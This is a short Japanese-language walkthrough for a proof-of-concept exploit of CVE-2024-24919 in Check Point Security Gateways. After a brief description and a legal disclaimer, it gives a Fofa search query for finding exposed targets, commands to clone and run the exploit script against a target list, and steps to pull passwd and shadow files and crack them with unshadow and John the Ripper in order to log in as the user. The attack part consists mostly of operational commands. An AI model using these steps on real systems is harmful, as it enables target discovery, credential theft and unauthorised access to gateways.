
POC - CVE-2024–24919 - Check Point Security Gateways
インターネットに接続され、Remote Access VPN または Mobile Access ソフトウェアブレードが有効になっている Check Point セキュリティゲートウェイにおいて、攻撃者が特定の情報を読み取る可能性があります。この脆弱性を緩和するセキュリティ修正プログラムが公開されています。
詳細はこちら — CVE-2024-24919
免責事項: この Proof of Concept(POC)は、教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしに標的を攻撃するためにこのツールを使用することは違法です。適用されるすべての地域、州、連邦の法律を遵守する責任はエンドユーザーにあります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
潜在的なターゲットを見つけるには、Fofa(Shodan.io に類似)を使用します:
app=”Check_Point-SSL-Network-Extender”
まず、リポジトリをクローンします:
git clone https://github.com/verylazytech/CVE-2024-24919
次に、ターゲットを選択し、list.txt ファイルに以下の形式で追加します:
エクスプロイトを実行します:
python3 CVE-2024-24919.py -l list.txt
出力は以下の2通りです:
失敗:

成功:

エクスプロイト実行後、passwd と shadow の両方のファイルが見つかったら、JohnTheRipper でハッシュのクラックを試せます。実行後には passwd と shadow の2つのファイルが生成されるので、それらを1つのファイルにマージしてクラックを試みます(私は rockyou.txt を使用しましたが、任意のパスワードワードリストで構いません):
unshadow passwd shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

そして、ハッシュのクラックに成功したら、そのユーザーにログインできます!